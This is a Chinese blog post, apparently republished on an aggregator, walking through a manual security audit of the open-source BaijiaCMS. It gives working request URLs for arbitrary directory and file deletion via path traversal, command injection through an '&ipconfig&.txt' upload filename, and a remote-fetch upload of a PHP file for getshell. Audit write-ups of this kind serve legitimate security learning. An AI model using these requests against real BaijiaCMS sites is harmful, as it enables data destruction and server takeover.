代码审计之旅之百家CMS

news2025/1/25 9:16:58

前言

之前审计的CMS大多是利用工具,即Seay+昆仑镜联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力,希望对正在学习代码审计的师傅能有所帮助。

环境搭建

源码链接如下所示
https://gitee.com/openbaijia/baijiacms
安装至本地后,我这里是phpstudy+win10,所以直接解压到phpstudywww目录下即可在这里插入图片描述
接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行)
在这里插入图片描述
接下来访问CMS,会默认跳转至安装界面在这里插入图片描述
数据库名称和账密注意一下就好,其他随便写在这里插入图片描述
而后安装成功,可以开始进行审计了。

审计

准备工作

我们拿到一套源码时,首先需要对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。
根目录如下所示
在这里插入图片描述
其对应目录解释如下

addons     插件
api        接口
assets     静态文件
attachment 上传目录
cache      缓存目录
config     系统文件
include    系统文件
system     后端代码

针对system目录,这个较为常用,我们可以对其进行进一步分析

system 系统模块目录
 ├─alipay 支付宝服务窗模块
 ├─bonus 优惠券模块
 ├─common 公共函数模板
 ├─index 登录页
 ├─member 会员模块
 ├─modules 可再扩展模块和模块管理
 ├─public 公共模块
 ├─shop 后台商城模块
 ├─shopwap 前台商城模块
 ├─user 系统用户
 └─weixin 微信模块

对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php文件,他们常常存在一些漏洞,进而导致CMS出现漏洞

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

在这里插入图片描述
所以简单阅读一下这些也是有必要的。接下来准备工作做完,就开始下一步。

路由解析

对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。
这里我们直接访问默认页面baijiacms-master/index.php,然后登录后台,这里说一下我自己认为找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面在这里插入图片描述

我们点击它,发现此时的路由如下

baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1

接下来我们在Vscode中进行全局搜索,搜password=
在这里插入图片描述
结果如下,可以发现它的路径

baijiacms-master\system\manager\class\web\changepwd.php

再找到它的具体位置
在这里插入图片描述
我们将它与之前看到的路由进行比对,就可以发现act其实是system文件夹下的文件夹名称,do是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。

漏洞查找

这里Seay+关键词搜索的方式进行漏洞查找

SQL注入

疑点一(失败)

发现有很多疑似注入点,从第一个开始跟进看
在这里插入图片描述
文件路由/addons/activity/class/mobile/index.php
重点代码

global $_W,$_GPC;

$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = "活动报名入口";

$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

可以看到uniacid变量确实未被单引号包裹,可能存在注入,但我们这里注意到它是$_W['uniacid'],追溯$_W,看到global $_W,$_GPC;,这个是全局变量,所以我们直接在vscode中进行查找(ctrl+shift+f全局搜索)
在这里插入图片描述
发现$_GPC=$_GP,所以我们只需要确定$_GP,就可以确定$_GPC,接下来寻找$_GP,最终在baijiacms.php中发现此变量
在这里插入图片描述

这里的话可以看出是对所有方法请求的参数进行了一个stripslashes函数处理,而后将参数进行了合并,合并后对数组内的参数依次进行遍历,进行htmlspecialchars函数处理,而后将实体字符&amp替换为&。不过这个是$_GPC的,但都是全局变量,$_W应该也类似,接下来再跟着看一下,我们全局搜索$_W=
在这里插入图片描述
这里可以发现$W=$_CMS,同时看出我们的$_W['uniacid']=$_CMS['beid'],接下来搜索$_CMS['beid']=在这里插入图片描述
找到它等同于一个函数,即getDomainBeid函数,所以接下来寻找getDomainBeid函数在这里插入图片描述

function getDomainBeid()
{
		global $_GP;

			$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));
	

	
	if(empty($system_store['id']))
	{
		if(!empty($_GP['beid']))
		{
			$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));
			if(empty($system_store['id']))
			{
				message("未找到相关店铺");
			}
			if(!empty($system_store['isclose']))
			{
			message("店铺已关闭无法访问");	
			}
		
			return $system_store['id'];	
		}else
		{
		return "";	
		}
	}else
	{
			if(!empty($system_store['isclose']))
			{
			message("店铺已关闭无法访问");	
			}
		
		return $system_store['id'];
	}
}

这里可以看出system_store是由系统数据库中查出来的数据,这个对我们来说是不可控的,我们可控的是$_GP['beid'],此时看着一个SQL语句

$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));

如果我们的数据正常,他的结果应该是

id  isclose
xx  xxxxxxx
xx  xxxxxxx

而当我们输入beidxx and sleep(2)这种,它毫无疑问是不会有查询结果的,这也就意味着$system_store['id'],而这个函数的最终结果是return $system_store['id']; ,那么此时它就会返回空值,那么回到这个SQL语句

pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);

中,如果我们那里正常,想让返回的不为空值,那么这个$_W['uniacid']只能接收到正常的id,也就是数据库中存储着的id值,所以这里是无法进行SQL注入的。

类似这个的还有如下文件

文件名:system/eshop/core/mobile/commission/team.php
部分PHP代码
$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
        
文件名: /addons/activity/class/web/activity.php
部分PHP代码:
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

文件名:/addons/activity/class/mobile/join.php
部分PHP代码:
$row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

文件名:/addons/activity/class/web/records.php
部分PHP代码:
$row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");

文件名:/system/eshop/core/web/shop/dispatch.php
部分PHP代码:
$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");

文件名: /system/eshop/core/web/virtual/category.php
部分PHP代码:
$list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");

疑点二(失败)

文件路径/system/common/model/virtual.php
在这里插入图片描述
这里发现参数id,跟进id变量,发现来源于

public function updateGoodsStock($id = 0)
        {
            global $_W, $_GPC;
            $goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(
                ':id' => $id,
                ':uniacid' => $_W['uniacid']
            ));

发现这里的id是直接赋值为0的,我们是不可控的,所以不存在注入。

任意目录及文件删除

关于漏洞寻找,大多是从一些敏感函数入手,如果觉得Seay扫描的不够全面,我们可自行查找,对于文件删除,我们这里首先想到的就是unlink函数,所以我们这里打开Vscodectrl+shift+f全局搜索unlink函数
在这里插入图片描述
这里注意到有多个文件,jscss前端文件自不必看,我们这里要关注的是php文件,接下来从第一个开始看。

疑点一

文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代码如下

function rmdirs($path='',$isdir=false)
{
	    if(is_dir($path))//判定变量是否为目录
	    {
	            $file_list= scandir($path); //查看路径下的文件
	            foreach ($file_list as $file)//依次遍历
	            {
	                if( $file!='.' && $file!='..')//如果不是.和..
	                {
	               		if($file!='qrcode')
	               		{
	                    rmdirs($path.'/'.$file,true);//删除目录下的文件
	                  }
	                }
	            }
	            
	    	if($path!=WEB_ROOT.'/cache/')//如果变量名不是根目录拼接cache
	    	{
	            @rmdir($path);   //删除目录
	               
	      }    
	    }
	    else
	    {
	        @unlink($path); 
	    }
	 
}

可以看到当它判定变量为目录时,会对目录下的文件进行递归,而后删除一切文件,如果它不是目录,那么他此时就会直接删除这个文件。接下来有函数了,那我们就要看哪个文件利用了这个函数,然后来进行利用。
所以接下来全局搜索函数rmdirs在这里插入图片描述
在文件baijiacms-master\system\manager\class\web\database.php中发现如下代码

				 if($operation=='delete')
 {
 		$d = base64_decode($_GP['id']);

 			$path = WEB_ROOT . '/config/data_backup/';
		if(is_dir($path . $d)) {
			rmdirs($path . $d);
			message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
		}
}

可以发现这里对变量进行了base64_decode处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径

$path = WEB_ROOT . '/config/data_backup/';

但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。

接下来进行利用尝试
首先我们在根目录下新建一个目录(名字随便,我这里为qwq)
在这里插入图片描述
接下来访问这个数据库备份界面,具体路由如下

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1

在这里插入图片描述
开启bp抓包,点击删除功能点。发送到重放包界面,修改id为Li4vLi4vcXdx(…/…/qwq的Base64编码形式)
在这里插入图片描述
此时再回根目录查看
在这里插入图片描述

疑点二

除了rmdirunlink,我们常常还可以关注delete函数,因为他直译过来也是删除的意思,所以接下来就全局进行搜索delete()在这里插入图片描述
而后在includes\baijiacms\common.inc.php中发现相关代码,具体代码如下

function file_delete($file_relative_path) {

	if(empty($file_relative_path)) {
		return true;
	}
	
	$settings=globaSystemSetting();
	if(!empty($settings['system_isnetattach']))
		{
				if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
			$ftp=new baijiacms_ftp();
		if (true === $ftp->connect()) {
			if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
				return true;
			} else {
				return false;
			}
		} else {
			return false;
		}
	} 
		if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
		$oss=new baijiacms_oss();
		$oss->deletefile($file_relative_path);
		return true;
	}
}else
{
		if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
		unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
		return true;
	}
	
	}
	return true;
}

这里重点关注这一个

	if(!empty($settings['system_isnetattach']))

当这个执行通过时,就不会去删除,反之,直接将文件删除,因此我们有必要去找一下这个是什么东西,照旧,全局搜索
在这里插入图片描述
这里发现是远程附件,因此我们这里选择本地的话,按理说就可直达else,对文件进行直接删除,访问具体路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1

在这里插入图片描述
接下来就设置好了,接下来去寻找运用了这个file_delete函数的文件,全局搜索一下
在这里插入图片描述
文件路由为system\eshop\core\mobile\util\uploader.php,部分代码如下

} elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}

因此我们这里访问这个路由并设置operation remove,按理说就可以直接删文件了,接下来尝试利用。

首先在根目录新建文件,这里命名为qwq.txt
在这里插入图片描述
接下来访问路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt

在这里插入图片描述
此时查看根目录
在这里插入图片描述
文件已成功删除

同时,我们刚刚还看到了不止这一个文件利用了delete函数,另外的是否存在呢,我们来看一下
文件路由system\eshop\core\web\shop\category.php,具体代码

elseif ($operation == 'post') {
		...
		...
		...
		if (!empty($id)) {
            unset($data['parentid']);
            pdo_update('eshop_category', $data, array(
                'id' => $id
            ));
            
            file_delete($_GPC['thumb_old']);
          

这里可以发现想删除文件,需要有三个条件

1$operation == 'post'
2$id不为空
3$_GPC['thumb_old']为具体文件名

所以我们按理说的话,我们去访问这个路由,然后修改$operationpost,添加参数$id=1,同时附加参数$thumb_old为想删除文件名即可实现删除文件,这个$operation在前面可以看到其实是参数op在这里插入图片描述
所以我们直接给op赋值为post,即可实现文件删除,接下来进行尝试

在根目录新建文件qwq2.txt
在这里插入图片描述
接下来访问路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt

此时即可实现删除文件

命令执行

针对命令执行,我们关注的函数肯定是evalsystemexec这几个,所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。
首先搜索的是eval
在这里插入图片描述
找到的大多数是带有eval的关键词而非eval函数,只有寥寥几个文件涉及了eval函数,接下来进行简单分析

疑点一(失败)

文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php,部分代码如下

function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");

  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
  }
  if(data.status==-1)
  {
  alert("登录失败!重新刷新二维码登录");	
  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";
  }
});
} 

这里的话可以看出是js类代码,简单分析一下这个函数,不难发现参数第一个是取对应的URL,第二个函数,也就是function(data),它是对从第一个URL中提取出的参数进行执行,这里我们接着看函数,它这里当执行过函数后,对结果的状态取值进行了判断,结果为1时判断为登录成功,就会跳转至另一个界面,而当为-1时就会登录失败,重回登录界面,所以我们这里可以看到他其实是不存在输出执行结果的地方的,所以我们根本无从下手,这里是无法实现命令执行的,所以Pass。

类似的文件还有如下几个,亦不必再看

文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
部分代码:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");

  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
  }
  if(data.status==-1)
  {
  alert("登录失败!重新刷新二维码登录");	
  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";
  }
});
} 
setInterval("checkstatus()",2000);

文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
部分代码:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");

  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";
  }
  if(data.status==-1)
  {
  alert("登录失败!重新刷新二维码登录");	
  location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";
  }
});
} 
setInterval("checkstatus()",2000);

疑点二

接下来我们关注system函数,直接Vscode全局搜
在这里插入图片描述
最终在includes\baijiacms\common.inc.php下找到system函数,其中部分代码如下

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
	
	$settings=globaSystemSetting();
	
		if(!file_move($file_tmp_name, $file_full_path)) {
			return error(-1, '保存上传文件失败');
		}
		if(!empty($settings['image_compress_openscale']))
		{
			
			$scal=$settings['image_compress_scale'];
			$quality_command='';
			if(intval($scal)>0)
			{
				$quality_command=' -quality '.intval($scal);
			}
				system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
		}
		...
		....
		.....

这里可以看到是保存文件的,在其中进行了一个判断是否上传成功的,这个自不必在意,这里我们看另一个

if(!empty($settings['image_compress_openscale']))

这个是什么意思呢,我们这里可以看出如果这个判断可以通过,而后就会对文件名和文件路径进行一个system执行,那我们就有可能实现命令执行,因此我们的首要任务就是找到这个是什么东西,所以接下来全局搜索image_compress_openscale
在这里插入图片描述
此时就找到了,它就是图片压缩功能,所以我们直接去开启这个功能,这里这个if判断就可以通过啦,所以接下来首先去开启这个,访问路由如下

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1

在这里插入图片描述
接下来我们跟进看一下哪个文件利用了这个函数,毕竟找到文件才能利用。
在这里插入图片描述
可以发现这里的话对此函数进行了一个利用,具体代码如下

$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
        $extention=strtolower($extention);
    if($extention=='txt')
    {
               $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
               if(empty( $substr))
               {
                $substr="/";    
               }
           $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";

        //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
                file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);

                if($verify_root!=WEB_ROOT."/")
                {
                    copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
                }

         $cfg['weixin_hasverify']=$file['name'];
    }

这里的话是对上传文件进行了pathinfo函数处理,其实也就是获取了拓展名(后缀名),当为txt后缀时,会继续往下进行,继而调用这个file_save函数,所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。

我们这里新建一个txt文件,命名为&ipconfig&.txt
在这里插入图片描述
接下来对其进行上传,具体路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1

接下来保存便可以看到效果
在这里插入图片描述

任意文件读取

疑点一(失败)

文件路由/system/eshop/core/mobile/shop/util.php,重要代码如下

} else if ($operation == 'areas') {

        require_once WEB_ROOT . '/includes/lib/json/xml2json.php';
        $file    = ESHOP_AREA_XMLFILE;
        $content = file_get_contents($file);
        $json    = xml2json::transformXmlStringToJson($content);
        $areas   = json_decode($json, true);
    die(json_encode($areas));

其他暂且不看,我们这里先看这两个

$file    = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);

本来直接包含$file的话,确实是可能存在文件读取,但我们这里可以看到它这里是给$file直接赋值了,这个是什么呢,我们全局搜索一下可以发现是一个xml文件
在这里插入图片描述
那么它对我们来说是不可控的,所以这里就不存在文件读取了,因此这里属于误报,看下一处。

所以类似这种的可疑点不必再关注,这里简单列出几个

文件名:/system/eshop/core/web/sale/enough.php
部分代码:
$content = file_get_contents($file);

文件名:/system/eshop/core/web/shop/dispatch.php
部分代码:
$content = file_get_contents($file);

文件上传

疑点一

文件上传,这里Seay并未扫到什么,所以我们手动来进行寻找,对于文件上传,最先想到的就是上传二字,对应英文为upload,所以直接Vscode全局搜索upload()
在这里插入图片描述文件路由为includes\baijiacms\common.inc.php,具体代码如下

function file_upload($file, $type = 'image') {
	if(empty($file)) {
		return error(-1, '没有上传内容');
	}
	$limit=5000;
	$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
	$extention=strtolower($extention);
	if(empty($type)||$type=='image')
	{
	$extentions=array('gif', 'jpg', 'jpeg', 'png');
	}
	if($type=='music')
	{
	$extentions=array('mp3','wma','wav','amr','mp4');
	}
		if($type=='other')
	{
	$extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');
	}
	...
	...
}

这里可以看到这个是进行了很多检测的,对文件类型进行了检测,且要求了后缀,所以这个函数应该是文件上传不了了,但还好它不止一个有关upload的函数,我们往下看到这样一个函数

function fetch_net_file_upload($url) {
	$url = trim($url);
	

	$extention = pathinfo($url,PATHINFO_EXTENSION );
	$path = '/attachment/';
	$extpath="{$extention}/" . date('Y/m/');

		mkdirs(WEB_ROOT . $path . $extpath);
		do {
			$filename = random(15) . ".{$extention}";
		} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
	
	
	
	$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
		$file_relative_path = $extpath. $filename;
	if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
		$result['message'] = '提取失败.';
		return $result;
	}
		$file_full_path = WEB_ROOT .$path . $extpath. $filename;
	return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

可以发现这个只对文件进行了pathinfo函数处理,取出其后缀名,然后拼接路径及随机数字来组成文件名,那么我们如果通过这个函数进行文件上传,按理说就可以上传php文件实现getshell,接下来看看哪个文件利用了此函数
在这里插入图片描述
文件路由system\public\class\web\file.php,具体代码

if ($do == 'fetch') {
	$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
	if (is_error($file)) {
		$result['message'] = $file['message'];
		die(json_encode($result));
	}
	
}

接下来我们只需要满足do=fetch,然后url中包含我们的文件,便可实现文件上传,我这里远程文件内容如下
在这里插入图片描述
接下来进行利用尝试。访问路由如下

http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php

在这里插入图片描述
访问给出的文件路径
在这里插入图片描述
可以发现此时已经实现了文件上传,如果传一句话木马即可Getshell。

后言

本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞,共计耗时半周,对本小白来说已颇为吃力,其中颇多审计失败的点,虽审计失败,但仍感觉对代码能力有了进一步了解,也算有所收获。最后,如果文章中有错误,还望各位大师傅多多指正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/396760.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网易云信 Crash 异常治理实践 | 智企技术委员会技术专题系列

前言Crash&#xff08;造成用户无法使用客户端所承载的服务&#xff09;作为客户端稳定治理的最主要问题之一。云信作为国内业界领先的 RTC/IM PaaS 服务商&#xff0c;对于客户端 SDK&#xff08;PaaS 服务商对外服务的主要载体&#xff09;的 Crash 治理再重视也不为过。关于…

【编程基础之Python】12、Python中的语句

【编程基础之Python】12、Python中的语句Python中的语句赋值语句条件语句循环语句for循环while循环continue语句break语句continue与break的区别函数语句pass语句异常处理语句结论Python中的语句 Python是一种高级编程语言&#xff0c;具有简单易学的语法&#xff0c;适用于各…

JAVA架构与开发(JAVA架构是需要考虑的几个问题)

在企业中JAVA架构师主要负责企业项目技术架构&#xff0c;企业技术战略制定&#xff0c;技术框架搭建&#xff0c;技术培训和技术攻坚的工作。 在JAVA领域&#xff0c;比较多的都是web项目。用于解决企业的数字化转型。对于JAVA架构师而言&#xff0c;平时对项目的架构主要考虑…

yolov7改进系列

1. YOLOv7改进结构系列&#xff1a; 最新结合用于小目标的新CNN卷积构建 (71条消息) YOLOv7改进结构系列&#xff1a; 最新结合用于小目标的新CNN卷积构建块_芒果汁没有芒果的博客-CSDN博客 一、SPD论文理论部分 卷积神经网络 (CNN) 在许多计算机视觉任务&#xff08;例如图像…

CMU15-445 Project.3总结

在线测试 Project #3 - Query Execution 以下是Project #3的网址&#xff0c;2022FALL的Project #3是实现一个查询执行&#xff0c;实现一系列算子&#xff0c;用于实现数据库内的SQL计算。项目中的 Query Execution 主要分为三个任务&#xff1a; Access Method Executors…

九龙证券|整合大年 钢企迎来盈亏平衡新周期

经历上一年的“至暗时间”后&#xff0c;2023年的钢铁工业正从盈亏平衡的新窗口探出面来。证券时报记者从多家钢企和钢贸商处确认&#xff0c;本年以来钢材价格试探性上涨频现&#xff0c;量价、开工率、库存等指标都呈现向好趋向。 如果说供应侧结构性变革是推动上一轮钢铁工业…

HTML 简介

文章目录HTML 简介实例解析什么是HTML?HTML 标签HTML 元素Web 浏览器HTML 网页结构HTML版本<!DOCTYPE> 声明通用声明HTML5HTML 4.01XHTML 1.0中文编码HTML 简介 HTML 实例 <!DOCTYPE html> <html><head><meta charset"utf-8"><ti…

Spring——数据源对象管理和Spring加载properties文件

前面一直都是在管理自己内部创建的对象&#xff0c;这个是管理外部的对象。 这里先使用阿里巴巴的druid来演示。需要在pom.xml中添加如下的依赖 <dependency><groupId>com.alibaba</groupId><artifactId>druid</artifactId><version>1.1…

Leetcode.2416 字符串的前缀分数和

题目链接 Leetcode.2416 字符串的前缀分数和 Rating &#xff1a; 1725 题目描述 给你一个长度为 n的数组 words&#xff0c;该数组由 非空 字符串组成。 定义字符串 word的 分数 等于以 word作为 前缀 的 words[i]的数目。 例如&#xff0c;如果 words ["a", &q…

C++STL详解(五)——list的介绍与使用

文章目录list的介绍list的使用list的定义方法list迭代器失效问题list插入和删除inserteraselist迭代器的使用begin&#xff0c;end 和 rbegin&#xff0c;rendlist元素访问front 和 backlist容量控制与数据清理resizeclearlist操作函数spliceremove 和 remove_ifuniquemergerev…

安卓开发之动态设置网络访问地址

之前开发程序联测测接口的时候&#xff0c;因为要和不同的后台人员调接口&#xff0c;所以经常要先把程序里的ip地址改成后台人员给我的。每次都要先修改ip地址&#xff0c;之后编译运行一下&#xff0c;才能测试。但要是换了个后台人员&#xff0c;或者同时和2个后台人员测接口…

Android提词器实现富文本样式

前提前一段时间做了一个程序&#xff0c;提词器APP&#xff0c;结合greendao保存数据。最近新增了一个需求&#xff0c;实现部分文字富文本的展现。师傅找了一个网上的SDK&#xff0c;但是在集成的时候总是出问题&#xff0c;我又不想把项目挪进来&#xff0c;感觉很麻烦&#…

Oracle P6 Professional相比与Microsoft Project的8个优势

目录 引言 1. 自上而下的调度 2. 努力程度 (LOE) 活动 3. 最长路径 4. 多浮动路径分析功能 6.预算材料成本 7. 开始和完成里程碑 8. 工作公式类型 概括 引言 哪种日程安排工具更适合您的情况&#xff0c;Oracle Primavera P6 还是 Microsoft Project(MSP) 经常有一些…

MySQL8.0Linux安装及主从的搭建

MySQL8.0Linux安装教程 下载并安装 需要说明的一点是我使用的是SSH secure shell Client连接linux系统的&#xff0c;它的用法和命令窗口差不多。界面如图&#xff1a;一样的使用Linux命令操作。 话不多说 第一步&#xff1a; 1&#xff09;、切换到 /usr/local下 cd /usr/…

已解决hint : See above for output from the failure.

已解决&#xff08;pip install wxPython安装失败&#xff09;error: legacy-instal1-failure Encountered error while trying to install package.wxPython note: This is an issue with the package mentioned above&#xff0c;not pip. hint : See above for output from …

关于世界坐标系,相机坐标系,图像坐标系,像素坐标系的一些理解

关于世界坐标系&#xff0c;相机坐标系&#xff0c;图像坐标系&#xff0c;像素坐标系的一些理解前言一、各坐标系的含义二、坐标系转换1.世界坐标系与相机坐标系&#xff08;旋转与平移&#xff09;2.相机坐标系与图像坐标系&#xff08;透视&#xff09;3.图像坐标系与像素坐…

【UE4 RTS游戏】02-摄像机运动_完成摄像机在X轴上运动的相关步骤

效果通过控制键盘WS键使得“CameraPawn”进行前后移动步骤将landscape的Z轴位置更改为0删除“PostProcessVolume”将“LightmassImportanceVolume”移入Lighting文件夹内新建一个蓝图类&#xff0c;父类是Pawn&#xff0c;命名为“CameraPawn”将“MyController”重命名为“Cam…

详解JVM

详解JVM 最近学习了&#xff1a;周志明《深入理解高并发编程》&#xff1b;&#xff1b; 特此简要对学习做了部分总结&#xff0c;方便后续对JVM相关知识的完善和巩固&#xff1b; 若想深入了解学习&#xff0c;可阅读上述参考原著&#xff1b; Java内存区域与OOM 运行时数据…

大数据 | (三)centos7图形界面无法执行yum命令

大家好&#xff0c;今天是三八女神节了&#xff01; 你知道吗&#xff1f;世界上第一位电脑程序设计师是名女性&#xff0c;Ada Lovelace (1815-1852)。 她是一位英国数学家兼作家&#xff0c;第一位主张计算机不只可以用来算数的人&#xff0c;也发表了第一段分析机用的演算…

vector中迭代器失效的问题及解决办法

目录 vector常用接口 vector 迭代器失效问题 vector中深浅拷贝问题 vector的数据安排以及操作方式&#xff0c;与array非常相似。两者的唯一差别在于空间的运用的灵活性。array 是静态空间&#xff0c;一旦配置了就不能改变&#xff1b;要换个大(或小) 一点的房子&#x…